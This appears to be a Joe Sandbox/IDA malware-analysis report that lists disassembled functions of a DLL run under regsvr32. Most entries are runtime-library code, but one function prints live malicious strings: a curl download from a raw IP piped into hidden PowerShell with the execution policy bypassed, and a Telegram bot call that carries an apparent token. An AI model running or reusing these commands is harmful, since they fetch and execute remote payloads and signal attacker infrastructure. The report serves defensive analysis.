Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: ad7b35e693053ff004a6380ad2c70a82dd44f2e5e314501ec7917911fc46011e
Instruction ID: bf6d080421070cce3ce2d0b880099514b46054195cae0c3e3f03cb59de10071a
Opcode Fuzzy Hash: ad7b35e693053ff004a6380ad2c70a82dd44f2e5e314501ec7917911fc46011e
Instruction Fuzzy Hash: 2511A771A44621ABFF22CB78C942F5937A9AF02770F100215ED11AB1C0D770F920C6D5

Function 6F9552BE Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,6417AA48,?,?,00000000,6F95F92D,000000FF,?,6F955258,?,?,6F95522C,00000000), ref: 6F9552F3
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6F955305
FreeLibrary.KERNEL32(00000000,?,00000000,6F95F92D,000000FF,?,6F955258,?,?,6F95522C,00000000), ref: 6F955327

Strings

mscoree.dll, xrefs: 6F9552EC
CorExitProcess, xrefs: 6F9552FD

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 86b17386e015d26b04162c864e44e22a488c0b66bee0cc5689ba68fc4fc320da
Instruction ID: a2a5d3eee320de7d7d6efa6493a3a3008c493e11d049b6108d2eb59632f2bbfb
Opcode Fuzzy Hash: 86b17386e015d26b04162c864e44e22a488c0b66bee0cc5689ba68fc4fc320da
Instruction Fuzzy Hash: 23014471918919EBEF028B54CC44BBE7BB9FB45724F00062AF921E22D4DB75D910CA50

Function 6F95B654 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6F95B6D9
__alloca_probe_16.LIBCMT ref: 6F95B7A2
__freea.LIBCMT ref: 6F95B809

Part of subcall function 6F95786A: HeapAlloc.KERNEL32(00000000,00000000,?,?,6F951CD5,00000000,?,6F95175C,00000000,?,6F9510C9,00000000), ref: 6F95789C

__freea.LIBCMT ref: 6F95B81C
__freea.LIBCMT ref: 6F95B829

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 50eb4319f89d205e16c88159eb3cdaf39520fe7941bd2d0c6b472fdfcfb26144
Instruction ID: 15b4db24f0c52991273d2f291cd5d2957f38f049bf9de9cdec2bb3f98edc1308
Opcode Fuzzy Hash: 50eb4319f89d205e16c88159eb3cdaf39520fe7941bd2d0c6b472fdfcfb26144
Instruction Fuzzy Hash: 7C51A3729012066BEB18CE65DC80EBB7ABDDF94714F154129FE14DA1D1EB31EC6186A0

Function 6F95BDF6 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(6417AA48,00000000,00000000,?), ref: 6F95BE59

Part of subcall function 6F958B8B: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F95B7FF,?,00000000,-00000008), ref: 6F958BEC

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6F95C0AB
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6F95C0F1
GetLastError.KERNEL32 ref: 6F95C194

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: b2a688838fe8bf3955c95837d872743bc7241829b9ad8106a464be17ba41a4c7
Instruction ID: 5b3195121e167717b88fb6d5c62fec892058d9986fe1edb15ec81f1ed54de01d
Opcode Fuzzy Hash: b2a688838fe8bf3955c95837d872743bc7241829b9ad8106a464be17ba41a4c7
Instruction Fuzzy Hash: E5D18A75D042589FDF15CFA8C8809EDBBB8EF0A314F14812AE855AB291D730E952CF50

Function 6F953E82 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6F953F49
___AdjustPointer.LIBCMT ref: 6F953F6C
___AdjustPointer.LIBCMT ref: 6F954008

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 8fd13cb57332c53c0b56804987c53cbba2a86d479b996acbaba7fe73ff76abaf
Instruction ID: e94c86d600dc1b522e68b7f54a2c045815f7b12591a3e06eb6ac773d160087c9
Opcode Fuzzy Hash: 8fd13cb57332c53c0b56804987c53cbba2a86d479b996acbaba7fe73ff76abaf
Instruction Fuzzy Hash: 8B51CC72604606AFEB19CF36D852FAAB7BAEF64314F10412AED15472D1E731E874CB90

Function 6F95792D Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6F958B8B: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F95B7FF,?,00000000,-00000008), ref: 6F958BEC

GetLastError.KERNEL32 ref: 6F957991
__dosmaperr.LIBCMT ref: 6F957998
GetLastError.KERNEL32(?,?,?,?), ref: 6F9579D2
__dosmaperr.LIBCMT ref: 6F9579D9

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 106d213be465e8bbc35f12edc7bc4e2a72873f08a5b858c4c96e4d53c6193b83
Instruction ID: 78a20d634b7c6c4bc48c33d63c8dfc9a800d1de47c4891f9f1ab74e1c0d8c718
Opcode Fuzzy Hash: 106d213be465e8bbc35f12edc7bc4e2a72873f08a5b858c4c96e4d53c6193b83
Instruction Fuzzy Hash: A621B07120471EAF9B50DFB5C99085AB7ADEF01368710C519EE18871D0D730EE31CBA2

Function 6F958C2E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6F958C36

Part of subcall function 6F958B8B: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6F95B7FF,?,00000000,-00000008), ref: 6F958BEC

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6F958C6E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6F958C8E

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: d9790b809ee6d5fbb68c96597575fae9a4322b63d29cbfb3be0a61eba9aa171a
Instruction ID: 9347431251b9575f5978865984a4f43ff6e5c38502980fab9cede6ebc57645cd
Opcode Fuzzy Hash: d9790b809ee6d5fbb68c96597575fae9a4322b63d29cbfb3be0a61eba9aa171a
Instruction Fuzzy Hash: 0D11A5F151A615BFB71597B58ECCCAF396CDF562A97000114F501952C5EB30ED21C7B1

Function 6F95D916 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,6F95D0D7,00000000,00000001,00000000,?,?,6F95C1E8,?,00000000,00000000), ref: 6F95D92D
GetLastError.KERNEL32(?,6F95D0D7,00000000,00000001,00000000,?,?,6F95C1E8,?,00000000,00000000,?,?,?,6F95C78B,00000000), ref: 6F95D939

Part of subcall function 6F95D8FF: CloseHandle.KERNEL32(FFFFFFFE,6F95D949,?,6F95D0D7,00000000,00000001,00000000,?,?,6F95C1E8,?,00000000,00000000,?,?), ref: 6F95D90F

___initconout.LIBCMT ref: 6F95D949

Part of subcall function 6F95D8C1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6F95D8F0,6F95D0C4,?,?,6F95C1E8,?,00000000,00000000,?), ref: 6F95D8D4

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,6F95D0D7,00000000,00000001,00000000,?,?,6F95C1E8,?,00000000,00000000,?), ref: 6F95D95E

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 86ea7d3a8b6db4968cf77ff69b9186062e16c007ab02fe31077746fe7a85e8a4
Instruction ID: 8be10e3987927ed1fee0474222823d1413298eda69ff01bfbbaaef7112f550fb
Opcode Fuzzy Hash: 86ea7d3a8b6db4968cf77ff69b9186062e16c007ab02fe31077746fe7a85e8a4
Instruction Fuzzy Hash: 61F0303640A555BBEF165F91DC44A993F77FF093B0B044059FB189A260CB32E930DB91

Function 6F954483 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6F9544A8

Strings

MOC, xrefs: 6F9544BA
RCC, xrefs: 6F9544C2

Memory Dump Source

Source File: 00000000.00000002.1999756891.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.1999736521.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999777116.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999796968.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999816006.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_loaddll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f0777ed0d399748d5e30526737e154581491d4571748bf396a66f906d37686cd
Instruction ID: b081194dbf2f0f46654faa82a9f911484b17bc410737f2bd3b4605dd9e6d1423
Opcode Fuzzy Hash: f0777ed0d399748d5e30526737e154581491d4571748bf396a66f906d37686cd
Instruction Fuzzy Hash: 8D4159B1900209AFDF05CFA8D891AEE7BB9BF48308F148199F91467291D336E971DF51

Analysis Process: regsvr32.exePID: 4324, Parent PID: 6752COMMON

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1316
Total number of Limit Nodes:	27

Executed Functions

Function 6F956EAB Relevance: 16.7, APIs: 11, Instructions: 188
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6F956A8E: HeapFree.KERNEL32(00000000,00000000,?,6F95A68A,?,00000000,?,?,6F95A6AF,?,00000007,?,?,6F95A384,?,?), ref: 6F956AA4
Part of subcall function 6F956A8E: GetLastError.KERNEL32(?,?,6F95A68A,?,00000000,?,?,6F95A6AF,?,00000007,?,?,6F95A384,?,?), ref: 6F956AAF

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F956FDC
GetExitCodeProcess.KERNELBASE(?,?), ref: 6F956FE9
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F956FFE
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957009
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957014
__dosmaperr.LIBCMT ref: 6F95701B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957026
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957031
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F957043
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F95704E
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6F95707F

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: CloseHandle$ErrorLast$CodeExitFreeHeapObjectProcessSingleWait__dosmaperr
String ID:
API String ID: 2764183375-0
Opcode ID: d5ae05d5f146bc4ca3e0d0321ca3818495068bc107bf2a68a8105dab6195e736
Instruction ID: a321e98985f0f9d9a18d7ef8a04501a5f8a3b317096c4e47111c4bc96319f699
Opcode Fuzzy Hash: d5ae05d5f146bc4ca3e0d0321ca3818495068bc107bf2a68a8105dab6195e736
Instruction Fuzzy Hash: 49515B7190020CEBEF12DFA4C984AEE7BB9EF46315F108166E910A61D1D731DA78DF62

Function 6F951E84 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6F951ECB
___scrt_uninitialize_crt.LIBCMT ref: 6F951EE5

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 2bbbc4437b33f0beafa3613e169e1d1912b658109abf41a96f938a2b6b962db6
Instruction ID: e2276723bfa995d3542d43ed16c1eda4113e27017016161c2d1841421cb4f0a4
Opcode Fuzzy Hash: 2bbbc4437b33f0beafa3613e169e1d1912b658109abf41a96f938a2b6b962db6
Instruction Fuzzy Hash: 4D41D672D05715AFDB21CF69CC40BAE3AB9EF967A4F10411AE8146B2D1D730DDA1CBA0

Function 6F956CB6 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strrchr.LIBCMT ref: 6F956CF9
_strrchr.LIBCMT ref: 6F956D03
_strrchr.LIBCMT ref: 6F956D18

Part of subcall function 6F956A8E: HeapFree.KERNEL32(00000000,00000000,?,6F95A68A,?,00000000,?,?,6F95A6AF,?,00000007,?,?,6F95A384,?,?), ref: 6F956AA4
Part of subcall function 6F956A8E: GetLastError.KERNEL32(?,?,6F95A68A,?,00000000,?,?,6F95A6AF,?,00000007,?,?,6F95A384,?,?), ref: 6F956AAF

Part of subcall function 6F954F7D: IsProcessorFeaturePresent.KERNEL32(00000017,6F954F4F,?,00000000,00000000,00000000,00000000,?,00000000,?,6F954EC6,?,00000000,00000000,00000000,00000000), ref: 6F954F7F
Part of subcall function 6F954F7D: GetCurrentProcess.KERNEL32(C0000417,00000000,?,00000000,?,?,6F954F6F,00000000,00000000,00000000,00000000,00000000,?,6F951118), ref: 6F954FA2
Part of subcall function 6F954F7D: TerminateProcess.KERNEL32(00000000,?,?,6F954F6F,00000000,00000000,00000000,00000000,00000000,?,6F951118), ref: 6F954FA9

Strings

.com, xrefs: 6F956E23, 6F956E2D

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: _strrchr$Process$CurrentErrorFeatureFreeHeapLastPresentProcessorTerminate
String ID: .com
API String ID: 3694955208-4200470757
Opcode ID: 9b357d92cf556d5484546850c74081d810e9dd2059ce5f94eb7f2d74c119b2f5
Instruction ID: 4c2b800bafc330f446592be22e472aa8b40ae3d784f9c81bcc1d74f6572a7735
Opcode Fuzzy Hash: 9b357d92cf556d5484546850c74081d810e9dd2059ce5f94eb7f2d74c119b2f5
Instruction Fuzzy Hash: 07514872504305AAEB16DE74DC44BAF377CDF53768F140929E910AB2C3EB22E938C261

Function 6F951F34 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6F951F71
dllmain_crt_dispatch.LIBCMT ref: 6F951F88
dllmain_raw.LIBCMT ref: 6F951FD0
dllmain_crt_dispatch.LIBCMT ref: 6F951FE3
dllmain_raw.LIBCMT ref: 6F951FF6

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: f39c099539444fd164665c3a7531fb4ba72e803a38b6eaf60135d062b150ed0f
Instruction ID: 12a90bac32d630ebe43dbcbb5dfe6bd070e1fa0829f1c007a7fd4f5244ca9082
Opcode Fuzzy Hash: f39c099539444fd164665c3a7531fb4ba72e803a38b6eaf60135d062b150ed0f
Instruction Fuzzy Hash: 04217171D01715ABDB22CF65C840AAF3A7DEB967A4F014116FC146A2D1D730DDA5CBA0

Function 6F951000 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

task.LIBCPMTD ref: 6F951056
task.LIBCPMTD ref: 6F95105E

Strings

powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}", xrefs: 6F95101D
cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -, xrefs: 6F951010

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: task
String ID: cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -$powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
API String ID: 1384045349-2968791885
Opcode ID: 1ae58ab471330fdb1f05da6f03169599845c29f2ff9a5343fe61446ffa99f7c5
Instruction ID: b0a6ff7db1b291017c8c5855dc18d32104c4796cba38b27d8e520abd0a3aa384
Opcode Fuzzy Hash: 1ae58ab471330fdb1f05da6f03169599845c29f2ff9a5343fe61446ffa99f7c5
Instruction Fuzzy Hash: 56F03070D1030CA7DF44EFA4E9929BE73389F31258F900068B806661E2FF71EA69C691

Function 6F955232 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,6F95522C,00000000,6F954D53,?,?,2C12E102,6F954D53,?), ref: 6F955243
TerminateProcess.KERNEL32(00000000,?,6F95522C,00000000,6F954D53,?,?,2C12E102,6F954D53,?), ref: 6F95524A
ExitProcess.KERNEL32 ref: 6F95525C

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 41b9b31108cba0d11bf0442ceb6e522d1cfa5f4c18075642e3d1fb3e050704f8
Instruction ID: 56aa2e9e73a434e648341db88ae513337887d601ffda823a7a27e729d01ee67d
Opcode Fuzzy Hash: 41b9b31108cba0d11bf0442ceb6e522d1cfa5f4c18075642e3d1fb3e050704f8
Instruction Fuzzy Hash: 73D09E31004604ABEF016F64CC4C9993F2AAF453A97405418B9195A0B6CB75E971DF50

Function 6F951D7D Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6F951DCA

Part of subcall function 6F95228C: InitializeSListHead.KERNEL32(6F967C70,6F951DD4,6F965708,00000010,6F951D65,?,?,?,6F951F8D,?,00000001,?,?,00000001,?,6F965750), ref: 6F952291

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6F951E34

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000003.00000002.1914644518.000000006F950000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914709536.000000006F960000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914777697.000000006F967000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.1914837041.000000006F969000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6f950000_regsvr32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: f64e6f50f4502f81fd2f06a4c8b2b9356389a74d759160b0416409b9866f7635
Instruction ID: dbd21dee974c30aa6a56cc72ae674814fda50462661509d0bfe32484781d4195
Opcode Fuzzy Hash: f64e6f50f4502f81fd2f06a4c8b2b9356389a74d759160b0416409b9866f7635
Instruction Fuzzy Hash: E12102329483119AFF06EFB8A40079C37A19F6372CF10045AD5842B1D3DF32E5B8C662

Function 6F95AE14 Relevance: 1.6, APIs: 1, Instructions: 89
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000001,?,?,?,00000000,?,00000000,00000001,00000000,?,?,?,?,00000000,?), ref: 6F95AEC9

Memory Dump Source

Source File: 00000003.00000002.1914681521.000000006F951000.00000020.00000001.01000000.00000003.sdmp, Offset: 6F950000, based on PE: true

